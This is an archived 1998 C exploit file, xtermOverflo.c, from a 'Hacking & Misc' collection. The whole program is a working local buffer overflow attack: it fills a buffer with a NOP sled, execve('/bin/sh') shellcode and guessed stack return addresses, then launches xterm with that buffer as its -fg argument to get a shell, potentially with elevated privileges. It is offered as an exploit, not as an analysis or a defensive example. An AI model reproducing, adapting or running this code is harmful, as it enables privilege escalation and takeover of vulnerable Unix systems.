home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / xtermOverflo.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  1KB  |  52 lines

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4.  
  5. #define DEFAULT_OFFSET          0
  6. #define BUFFER_SIZE             1491
  7.  
  8. long get_esp(void)
  9. {
  10.    __asm__("movl %esp,%eax\n");
  11. }
  12.  
  13. main(int argc, char **argv)
  14. {
  15.    char *buff = NULL;
  16.    unsigned long *addr_ptr = NULL;
  17.    char *ptr = NULL;
  18.  
  19.    char execshell[] = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2"
  20.    "\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0"
  21.    "\xb0\x3b" "\x8d\x4e\x0b" "\x89\xca" "\x52" "\x51" "\x53" "\x50" "\xeb\x18"
  22.    "\xe8\xd8\xff\xff\xff" "/bin/sh" "\x01\x01\x01\x01" "\x02\x02\x02\x02"
  23.    "\x03\x03\x03\x03" "\x9a\x04\x04\x04\x04\x07\x04";
  24.    
  25.    int i, ofs=DEFAULT_OFFSET, bs=BUFFER_SIZE;
  26.  
  27.    if(argc>1)
  28.         ofs=atoi(argv[1]);
  29.    if(argc>2)
  30.         bs=atoi(argv[2]);
  31.    printf("Using offset of esp + %d (%x)\nBuffer size %d\n", 
  32.         ofs, get_esp()+ofs, bs);
  33.    
  34.    buff = malloc(4096);
  35.    if(!buff)
  36.    {
  37.       printf("can't allocate memory\n");
  38.       exit(0);
  39.    }
  40.    ptr = buff;
  41.    memset(ptr, 0x90, bs-strlen(execshell));
  42.    ptr += bs-strlen(execshell);
  43.    for(i=0;i < strlen(execshell);i++) 
  44.       *(ptr++) = execshell[i];
  45.    addr_ptr = (long *)ptr;
  46.    for(i=0;i < (8/4);i++)
  47.       *(addr_ptr++) = get_esp() + ofs;
  48.    ptr = (char *)addr_ptr;
  49.    *ptr = 0;
  50.    execl("/usr/X11R6/bin/xterm", "xterm", "-fg", buff, NULL);
  51. }
  52.